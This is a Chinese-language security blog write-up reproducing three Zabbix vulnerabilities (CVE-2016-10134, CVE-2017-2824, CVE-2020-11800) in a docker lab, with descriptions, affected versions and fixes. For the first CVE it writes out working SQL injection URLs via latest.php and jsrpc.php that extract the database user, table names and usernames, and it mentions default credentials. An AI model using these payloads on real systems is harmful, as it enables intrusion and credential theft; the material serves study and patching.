si1ent

Zabbix

2021-04-20

概述

zabbix([`zæbiks])是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。

zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。

zabbix由2部分构成,zabbix server与可选组件zabbix agent。

环境搭建

docker

漏洞实战分类

CVE-2016-10134

漏洞描述

zabbix是一款服务器监控软件,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。

攻击者无需授权登陆即可登陆zabbix管理系统,进入后台后script等功能直接获取zabbix服务器的操作系统权限。

影响范围

zabbix 2.2.x, 3.0.0-3.0.3

漏洞原理

攻击者无需授权登陆即可登陆zabbix管理系统,进入后台后script等功能直接获取zabbix服务器的操作系统权限。

漏洞条件

zabbix 2.2.x, 3.0.0-3.0.3

漏洞检测

1、URL访问

1
http://192.168.20.120:8080/index.php

image-20210416204021332

2、guest账号登录

(密码为空)

image-20210416204235856

3、查看cookie的zbx_session

复制后16位字符

4、将这16个字符作为sid的值

1
http://192.168.20.120:8080/latest.php?output=ajax&sid=d973662317b7d811&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)

5、访问

image-20210419102735833

6、此漏洞也可以通过jsrpc.php触发

1
http://192.168.20.120:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

image-20210419103048419

7、爆破其他表

1
http://192.168.20.120:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='zabbix' limit 0,1),0x7e),1)

image-20210419104936380

8、字段名

1
http://192.168.20.120:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(1,concat(0x7e,(select username from zabbix.users limit 0,1),0x7e),1)

image-20210419105310351

漏洞修复

1、版本更新

CVE-2017-2824

漏洞描述

Zabbix 2.4.x中的trapper command功能存在一处代码执行漏洞,特定的数据包可造成命令注入,进而远程执行代码,攻击者可以从一个Zabbix proxy发起请求从而促发漏洞。

影响范围

Zabbix 2.4.7 – 2.4.8r1

漏洞原理

Zabbix 2.4.x中的trapper command功能存在一处代码执行漏洞,特定的数据包可造成命令注入,进而远程执行代码,攻击者可以从一个Zabbix proxy发起请求从而促发漏洞。

漏洞条件

开启注册功能。

漏洞检测

1、自动注册功能开启

利用该漏洞,需要你服务端开启了自动注册功能,所以我们先以管理员的身份开启自动注册功能。使用账号密码admin/zabbix登录后台,进入Configuration->Actions,将Event source调整为Auto registration,然后点击Create action,创建一个Action,名字随意:

image-20210419111819662

image-20210419111958550

image-20210419112028632

以上完成自动注册开启

2、 执行exp时一定确保服务均已启动

image-20210420115914003

服务均已启动

3、执行exp,如果执行出现如下结果,可尝试多次执行。

image-20210420140454038

4、如下命令执行成功

image-20210420140614266

漏洞修复

1、除Zabbix Server 2.4.X版本以外不受影响

2、通过删除ZabbixServer的Zabbix数据库内的三个默认脚本条目,攻击者将无法实际执行代码,即使他们可以将具有欺骗地址的主机插入到数据库中。

操作如下:

直接从数据库中利用命令消除(use zabbix; delete * from scripts;)
或从GUI界面通过操作(Administration -> Scripts -> Checkmarks -> Delete Selected/Go)完成。

参考
1
2
3
https://talosintelligence.com/reports/TALOS-2017-0325
https://developer.aliyun.com/article/205794
https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2017-2824

CVE-2020-11800

漏洞描述

Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。在CVE-2017-2824中,其Server端 trapper command 功能存在一处代码执行漏洞,而修复补丁并不完善,导致可以利用IPv6进行绕过,注入任意命令。

参考

影响范围

Zabbix 3.0.x~3.0.30

漏洞原理

该漏洞原理与CVE-2017-2824相同.

active checks是自动注册的命令字,自动注册的本意是agent可主动将主机注册给server进行监控,在2.2.18版本中可以在IP中注入(参见上文的版本分析处,2.2.19版本才增加了ip校验)shell命令。CVE-2017-2824提到的漏洞在discovery data命令字即自动发现功能中,由于没有校验IP,导致可在IP中写入shell命令,进而在执行script cmd时达到命令注入。

漏洞条件

Zabbix 3.0.x~3.0.30

自动注册功能开启

漏洞检测

1、环境

docker环境配置

确保主机均已启动完成

image-20210420142204565

2、URL访问

1
http://192.168.20.120:8080/

image-20210420141923721

3、开启自动注册功能

image-20210420142032603

image-20210420142102116

4、执行exp尝试执行命令

image-20210420142542115

5、获取tmp目录信息

image-20210420142610446

漏洞修复

1、IP地址限制

参考
1
https://xz.aliyun.com/t/8991
Tags: Zabbix
使用支付宝打赏
使用微信打赏

若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏

扫描二维码,分享此文章